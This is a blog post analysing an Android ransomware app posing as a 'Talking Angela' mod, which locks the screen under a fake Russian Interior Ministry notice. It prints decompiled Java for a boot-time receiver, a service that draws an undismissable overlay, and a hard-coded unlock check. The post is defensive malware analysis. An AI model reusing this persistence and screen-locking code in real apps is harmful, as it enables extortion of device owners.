Avatar Awesome blog comming up!!

Android Malware - Talking Angela (Mod)

Introduction

Talking_Angela (Mod) is an Android ransome-ware that blocks the screen and impersonates as a Ministry of Internal Affairs, Russian Federation application and demands money from the user. This ransome-ware is very simple in design and even has the password hard-coded in the code itself. Thankfully Play Protect can identify this one and immediatedly disables the application

Ransome-ware main screen Blocked by Play Protect

Decompiling the application

Let’s decompile the application first. I use JADX as it gives a easy navigation GUI and decompiled source-view

Breaking down the source code

The malware has only 3 classes:

  • com.mycompany.myapp.BootReceiver: A BroadcastReceiver for the android.intent.action.BOOT_COMPLETED broadcast action.
  • com.mycompany.myapp.MainActivity: The starting point of the application when launched. This and the BootReceiver does the same thing
  • com.mycompany.myapp.MyService: This service is started by both the entry points and launches a sticky window that demands a ransom to unlock the device

Let’s look into the starting points first, the com.mycompany.myapp.MainActivity

package com.mycompany.myapp;

import adrt.ADRTLogCatReader;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

public class MainActivity extends Activity {
    @Override
    public void onCreate(Bundle bundle) {
        ADRTLogCatReader.onContext(this, "com.aide.ui");
        super.onCreate(bundle);
        try {
            startService(new Intent(this, Class.forName("com.mycompany.myapp.MyService")));
            finish();
        } catch (ClassNotFoundException e) {
            throw new NoClassDefFoundError(e.getMessage());
        }
    }
}

Let’s look into another starting point, the com.mycompany.myapp.BootReceiver

package com.mycompany.myapp;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootReceiver extends BroadcastReceiver {
    private final String BOOT_ACTION = "android.intent.action.BOOT_COMPLETED";
    Context mContext;

    @Override
    public void onReceive(Context context, Intent intent) {
        this.mContext = context;
        if (intent.getAction().equalsIgnoreCase("android.intent.action.BOOT_COMPLETED")) {
            try {
                context.startService(new Intent(context, Class.forName("com.mycompany.myapp.MyService")));
            } catch (ClassNotFoundException e) {
                throw new NoClassDefFoundError(e.getMessage());
            }
        }
    }
}

Both these entry-points first get a reference to com.mycompany.myapp.MyService, to build a Intent and use that to start the service.

Let’s look at this service in AndroidManifest.xml, before we jump into the code:

<service android:name="com.mycompany.myapp.MyService" android:enabled="true"/>
    <receiver android:name="com.mycompany.myapp.BootReceiver"
        android:permission="android.permission.RECEIVE_BOOT_COMPLETED" 
        android:enabled="true">
        
        <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
    </receiver>

Now for the main culprit let’s break down com.mycompany.myapp.MyService. Let’s start with the UI code

public void onCreate() {
        ADRTLogCatReader.onContext(this, "com.aide.ui");
        this.windowManager = (WindowManager) getSystemService("window");
        this.myView = (ViewGroup) ((LayoutInflater) getSystemService("layout_inflater")).inflate(R.layout.main, (ViewGroup) null);
        this.chatHead = new ImageView(this);
        this.chatHead.setImageResource(R.drawable.ic_launcher);
        this.e1 = (EditText) this.myView.findViewById(R.id.mainEditText1);
        ((Button) this.myView.findViewById(R.id.mainButton1)).setOnClickListener(new View.OnClickListener(this) {
            // Verification code reviewed later
        });
        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(-2, -2, 2002, 1, -3);
        layoutParams.gravity = 17;
        layoutParams.x = 0;
        layoutParams.y = 0;
        new View(this).setBackgroundColor(872349696);
        this.windowManager.addView(this.myView, layoutParams);

These peices of code is basically responsile for creating the sticky window in the phone, like we can in the previous screenshots.

But the main ransom code is present in the View.OnClickListener that validates the key

public void onClick(View view) {
    if (this.this$0.e1.getText().toString().equals("2819613")) {
        this.this$0.windowManager.removeView(this.this$0.myView);
        try {
            this.this$0.context.startService(new Intent(this.this$0.context, Class.forName("com.mycompany.myapp.MyService")));
        } catch (ClassNotFoundException e) {
            throw new NoClassDefFoundError(e.getMessage());
        }
    } else {
        this.this$0.e1.setText("Неверный пароль!");
    }
}

Quite suprsingly this onClick handler checks against a static key. If it matches, then the view is removed and an error is triggered (I haven’t quite found the source)

But this doesn’t mean the malware de-activates. The malware starts to restart itself immediatedly as evident by the fact that the malware listens for and also from the line

this.this$0.context.startService(new Intent(this.this$0.context, Class.forName("com.mycompany.myapp.MyService")));

Stopping the Malware

Un-fortunately the malware can’t be stopped by putting in the key, because it’ll just restart itself again and again. Fortunately Play Protect recognises the malware immediatedly and blocks it. Also it must be noted during the re-launch code, a java.lang.NullPointerException occurs many times, thus crashing the entire application.

all tags